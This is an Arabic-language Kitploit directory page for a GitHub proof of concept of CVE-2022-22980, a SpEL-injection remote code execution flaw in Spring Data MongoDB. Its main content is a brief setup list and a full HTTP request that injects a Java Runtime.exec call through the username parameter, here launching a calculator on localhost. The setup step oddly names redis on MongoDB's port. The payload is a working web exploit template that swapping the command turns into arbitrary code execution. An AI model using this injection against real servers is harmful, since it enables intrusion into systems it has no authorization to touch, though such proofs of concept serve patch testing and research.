Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2022-22980 — إثبات مفهوم لاستغلال CVE-2022-22980، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Spring Data MongoDB عبر حقن SpEL في معلمة اسم المستخدم. | Kitploit
أدوات/GitHubGitHub/jweny/cve-2022-22980
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubjweny/cve-2022-22980

cve-2022-22980

إثبات مفهوم لاستغلال CVE-2022-22980، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Spring Data MongoDB عبر حقن SpEL في معلمة اسم المستخدم.

عرض المستودع
1031منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

spring-data-mongodb-cve-2022-22980-exp

ثغرة تافهة، مجرد تسجيل.

  1. تشغيل redis، المنفذ 27017

  2. تشغيل المشروع، springboot يعمل على المنفذ 6666

    image-20220622155615142

  3. image-20220622155830238

root@kitploit:~
GET /v1/user/get?username=T(java.lang.Runtime).getRuntime().exec('open+-a+calculator.app') HTTP/1.1
Host: localhost:6666
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 2

المراجع:

  • https://github.com/li8u99/Spring-Data-Mongodb-Demo
  • https://github.com/trganda/CVE-2022-22980
تنزيل الأداة